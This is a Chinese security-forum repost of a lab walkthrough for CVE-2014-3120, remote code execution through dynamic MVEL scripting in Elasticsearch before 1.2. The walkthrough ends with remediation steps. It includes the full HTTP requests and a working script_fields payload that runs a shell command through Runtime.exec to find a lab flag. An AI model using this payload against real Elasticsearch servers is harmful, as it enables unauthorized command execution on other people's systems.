安全矩阵

 找回密码
 立即注册
搜索
查看: 2619|回复: 0

ElasticSearch命令执行漏洞(CVE-2014-3120)

[复制链接]

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
发表于 2020-8-9 17:45:17 | 显示全部楼层 |阅读模式
本文章转载自https://zhishihezi.net/box/c7ecf406d93ed094559f1cd654950609


一、漏洞描述
Elasticsearch 是一个基于 Lucene 库的搜索引擎,具有 HTTP Web 接口和无模式 JSON 文档。Elasticsearch 是用 Java 开发的,其支持 MVEL、js、Java 等语言,其老版本默认语言为 MVEL。
MVEL -一个被众多 Java 项目使用的开源的表达式语言。
Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允许远程攻击者通过 _search 的 source 参数执行任意 MVEL 表达式和 Java 代码。
二、影响版本
Elasticsearch < 1.2
三、利用流程
1 启动 CVE-2014-3120 镜像,打开其访问地址查看,可见其版本为1.1.1
2 向 Elasticsearch 添加一条数据
其数据包为
  1. POST /website/blog/ HTTP/1.1
  2. Host: 118.193.36.37:33967
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Length: 26
  11. {
  12.   "name": "vulfocus"
  13. }
复制代码
3 script 为最终执行 Java 代码的地方,此字段会被默认当作脚本执行,按照其 json 格式向其填充要执行的代码即可


最终目的为 /tmp 下的 flag,其数据包为
  1. POST /_search?pretty HTTP/1.1
  2. Host: 118.193.36.37:33967
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Length: 361
复制代码
  1. {
  2.     "size": 1,
  3.     "query": {
  4.       "filtered": {
  5.         "query": {
  6.           "match_all": {
  7.           }
  8.         }
  9.       }
  10.     },
  11.     "script_fields": {
  12.         "command": {
  13.             "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("ls /tmp").getInputStream()).useDelimiter("\\\\A").next();"
  14.         }
  15.     }
  16. }
复制代码
4 填入得到的 flag,成功则出现 恭喜!通过

四、修复方案
1、升级到新版本,大于等于1.2版本即可解决此问题
2、设置 script.disable_dynamic = true,官方已在1.2版本中将 true 设置为默认值

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:46 , Processed in 0.014025 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表